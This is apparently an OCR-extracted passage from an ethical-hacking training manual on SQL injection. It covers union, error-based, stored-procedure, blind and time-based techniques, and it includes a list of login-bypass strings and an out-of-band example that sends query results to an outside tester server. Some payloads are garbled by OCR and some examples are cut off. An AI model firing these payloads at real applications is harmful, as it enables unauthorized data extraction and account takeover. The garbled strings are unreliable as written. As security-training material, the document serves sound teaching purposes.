http://www.certifiedhacker.com/page.aspx?id=l UNION SELECT ALL

1,column_name,3,4  from  DB_NAME.information_schema.columns  where table_name ='EMPLOYEE_TABLE•—

[EMPLOYEE_NAME] ■    Extract 1st Field Data

http: //www. certif iedhacker . com/page. aspx?id=l UNION SELECT ALL 1,COLUMN-NAME-1,3,4 from EMPLOYEE_NAME —

[FIELD 1 VALUE] Returned from the server


Perform Error Based SQL Injection

An attacker makes use of the database-level error messages disclosed by an application. These messages help an attacker to build a vulnerability exploit request. There is even a potential to create automated exploits, depending on the error messages generated by the database server.

■    Extract Database Name

http://www.certifiedhacker.com/page.aspx?id=l   or l=convert(int,(DB_NAME))—

Syntax error converting the nvarchar value '[DB NAME]' to a column of data type int. ■    Extract 1st Database Table

http://www.certifiedhacker.com/page.aspx?id=l or


Perform Error-Based SQL Injection using Stored Procedure Injection

Some developers use stored procedures at the backend of the web application to support its functionality. The stored procedures are part of an SQL statement designed to perform a specific task. Developers may write static and dynamic SQL statements inside the stored procedures to support the application's functionality. If the developers use dynamic SQL statements in the stored procedure, and if application users input to this dynamic SQL, then the application can be vulnerable to SQL injection attacks. The stored procedure injection attacks are possible if the application does not properly sanitize its input before processing that input in the stored procedure. An attacker can take advantage of improper input validation to launch a stored procedure injection attack on the application.

Consider the SQL Server Stored Procedure shown below:

Create procedure user_login @username varchar(20), @passwd varchar(20) As Declare @sqlstring varchar(250)

Set @sqlstring = '

Select 1 from users Where username = ' + Qusername + ' and passwd = ' + @passwd

exec(@sqlstring) Go User input: anyusername or 1=1’ anypassword

The  procedure  does  not  sanitize  the  input,  allowing  the  return  value  to  display  an  existing record with these parameters.

Consider the SQL Server Stored Procedure shown below:

Create procedure get_report @columnamelist varchar(7900) As Declare @sqlstring varchar(8000) Set @sqlstring = ' Select ' + @columnamelist + ' from ReportTable' exec(@sqlstring) Go 1 from users; update users set password = 'password'; select * This results in the report running and all users' passwords being updated.

Note: The example given above is unlikely due to the use of dynamic SQL to log in a user; consider a dynamic reporting query where the user selects the columns to view. The user could insert malicious code in this case and compromise the data.

Bypass Website Logins Using SQL Injection

Bypassing website logins is a fundamental and common malicious activity that an attacker can perform by using SQL injection. This is the easiest way to exploit any SQL injection vulnerability of the application. An attacker can bypass the login mechanism (authentication mechanism) of the application by injecting malicious code (in the form of an SQL command) into any user's account without entering a username and password. The attacker inserts the malicious SQL string in a website login form to bypass the login mechanism of the application.

Attackers take complete advantage of SQL vulnerabilities. Programmers chain SQL commands and user-provided parameters together. By utilizing this feature, the attacker executes arbitrary SQL queries and commands on the backend database server through the web application.

Try these at website login forms:

■ admin’ —

■ admin1 #

■ admin'/*

■  ' or 1=1—

■  ' or 1=1#

■  ' or 1=1/*

■  ') or 'l'='l—

■  ') or ('l'='l — Login as a different User:

'  UNION  SELECT  1anotheruserdoesnt  matter',  1— Try to bypass login by avoiding MD5 hash check:

You can union results with a known password and MD5 hash of supplied password. The web application will compare your password and the supplied MD5 hash instead of MD5 from the database. For example:

Username : admin

Password : 1234 • AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)


Perform Blind SQL Injection—Exploitation (MySQL)

SQL injection exploitation depends on the language used in SQL. An attacker merges two SQL queries to get more data. The attacker tries to exploit the UNION operator to get more information from the database. Blind injections help an attacker to bypass more filters easily. One of the main differences in blind SQL injection is that it reads the entries symbol by symbol.

■    Example 1: Extract First Character

Searching for the first character of the first table entry

/?id=l+AND+555=if(ord(mid((select+pass+from+users+limit+O,1),1,1) )= 97,555,777)

If the table "users" contains a column "pass" and the first character of the first entry in this column is 97 (letter "a"), then DBMS will return TRUE, otherwise FALSE.

■    Example 2: Extract Second Character

Searching for the second character of the first table entry

/?id=l+AND+555=if(ord(mid((select+pass+from+users+limit+O,1),2,1) )= 97,555,777)

If the table "users" contains a column "pass" and the second character of the first entry in this column is 97 (letter «a»), then DBMS will return TRUE; otherwise, FALSE.


Blind SQL Injection—Extract Database User

Using blind SQL injection, an attacker can extract the database username. The attacker can probe the database server with yes/no questions to extract information. In an attempt to extract database usernames using blind SQL injection, an attacker first tries to determine the number of characters in a database username. An attacker who succeeds in learning the number of characters in a username then tries to find each character in it. To find the first letter of a username with a binary search, it takes seven requests and for an eight-character name, it takes 56 requests.

Example 1: Check for username length


Blind SQL Injection—Extract Database Name

In a blind SQL injection, the attacker can extract the database name using the time-based blind SQL injection method. Here, the attacker can brute-force the database name by using time before the execution of the query and set the time after query execution; then the attacker can assess from the result that if the time lapse is 10 seconds, then the name can be "A"; otherwise, if it took 2 seconds, then it cannot be "A." Likewise, the attacker finds out the database name associated with the target web application.

■ Example 1: Check for Database Name Length and Name

http://www.certifiedhacker.com/page.aspx?id=l; IF (LEN(DB_NAME())=4) WAITFOR DELAY ’00:00:10'—


Blind SQL Injection—Extract Column Name

Following  the  same  procedure  discussed  above,  the  attacker  can  extract  the  column  name using the time-based blind SQL injection method.

■ Example 1: Extract 1st Table Column Name

http://www.certifiedhacker.com/page.aspx?id=l; IF (LEN(SELECT TOP 1 colunm_name from ABCD. inf ormation_schema. columns where

table_name='EMP')=3) WAITFOR DELAY ’00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l; IF(ASCII(lower(substring((SELECT TOP 1 column_name from

ABCD.information_schema.columns where table_name='EMP'),1,1)))=101) WAITFOR DELAY '00:00:10' —

http://www.certifiedhacker.com/page.aspx?id=l; IF(ASCII(lower(substring((SELECT TOP 1 column_name from

ABCD.information_schema.columns where table_name='EMP'),2,1)))=105) WAITFOR DELAY '00:00:10' —

http://www.certifiedhacker.com/page.aspx?id=l; IF(ASCII(lower(substring((SELECT TOP 1 column_name from

ABCD.information_schema.columns where table_name='EMP'),3,1)))=100) WAITFOR DELAY '00:00:10' —

Column  Name  =  EID  (Considering  that  the  database  returned  true  for  the  above statement).

■ Example 2: Extract 2nd Table Column Name

http://www.certifiedhacker.com/page.aspx?id=l; IF (LEN(SELECT TOP 1 column_name from ABCD. information_schema. columns where

table_name='EMP' and column_name>'EID')=4) WAITFOR DELAY '00:00:10'-


Blind SQL Injection—Extract Data from ROWS

Following the same procedure discussed above, the attacker can extract the data from rows using the time-based blind SQL injection method.

■ Example 1: Extract 1st Field of 1st Row

http://www.certifiedhacker.com/page.aspx?id=l; IF (LEN(SELECT TOP 1 EID from EMP)=3) WAITFOR DELAY '00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l; IF

(ASCII(substring((SELECT TOP 1 EID from EMP),1,1))=106) WAITFOR DELAY '00:00:10'--

http://www.certifiedhacker.com/page.aspx?id=l; IF

(ASCII(substring((SELECT TOP 1 EID from EMP),2,1))=111) WAITFOR DELAY '00:00:10'—

http://www.certifiedhacker.com/page.aspx?id=l; IF

(ASCII(substring((SELECT TOP 1 EID from EMP),3,1))=101) WAITFOR DELAY '00:00:10'--

Field Data - JOE (Considering that the database returned true for the above statement) ■ Example 2: Extract 2nd Field of 1st Row

http://www.certifiedhacker.com/page.aspx?id=l; IF (LEN(SELECT TOP 1 DEPT from EMP)=4) WAITFOR DELAY '00:00:10'--

http://www.certifiedhacker.com/page.aspx?id=l; IF

(ASCII(substring((SELECT TOP 1 DEPT from EMP),1,1))=100) WAITFOR DELAY ’00:00:10’—

http://www.certifiedhacker.com/page.aspx?id=l; IF

(ASCII(substring((SELECT TOP 1 DEPT from EMP),2,1))=111) WAITFOR DELAY ’00:00:10’--


Perform Double Blind SQL Injection—Classical Exploitation (MySQL)

Double-blind SQL injection is also called time-based SQL injection. In double-blind SQL injection, an attacker inserts time delays in SQL query processing to search the characters in the database users,  database  name,  column  name,  row  data,  and  so  on.  If  the  query  with  the  time  delay executes  immediately,  then  the  condition  inserted  in  the  query  is  false.  If  the  query  executes with  some  time  delay,  then  the  condition  inserted  in  the  query  is  true.  In  this  SQL  injection technique, entries are read symbol by symbol. Unlike other blind SQL injection techniques, this technique does not use the UNION clause or any other techniques in the inserted query. Double-blind   SQL   injection   exploitation   depends   upon   the   analysis   of   time   delay.   The exploitation  starts  by  sending  a  query  with  time  delay  to  the  web  application  and  getting  its response   back.   In   a   typical   double-blind   injection   attack,   the  functions  benchmark()   and sleep () are used to process the time delays.

The classical implementation of double blind SQL injection is given below.

/?id=l+AND+if((ascii(lower(substring((select  password  from  user  limit 0,1),0,1))))=97,1,benchmark(2000000,md5(now())))

■   We can conjecture that the character was guessed right on the basis of time delay of web server response

■    Manipulating the value 2000000: we can achieve acceptable performance for a concrete application

■    Function sleepf) represents an analogue of function benchmarkQ. Function sleep() is more secure in the given context, because it does not use server resources

Perform Blind SQL Injection Using Out-of-Band Exploitation Technique

The out-of-band exploitation technique is useful when the tester finds a blind SQL injection situation. It uses DBMS functions to perform an out-of-band connection and provide the results of the injected query as part of the request to the tester's server.

Note: Each DBMS has its own functions; check for specific DBMS section. Consider the SQL query shown below:

SELECT * FROM products WHERE id_product=$id_product Consider the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be:

http://www.example.com/product.php?id=10||UTL_HTTP.request('testerserver.c

om:80')||(SELET user FROM DUAL)—

ln the aforementioned example, the tester is concatenating the value 10 with the result of the function UTL_HTTP.request

This Oracle function tries to connect to "testerserver" and make a HTTP GET request containing the return from the query "SELECT user FROM DUAL"

The tester can set up a web server (e.g., Apache) or use the Netcat tool /home/tester/nc -nLp 80GET /SCOTT HTTP/1.1 Host: testerserver.com Connection: close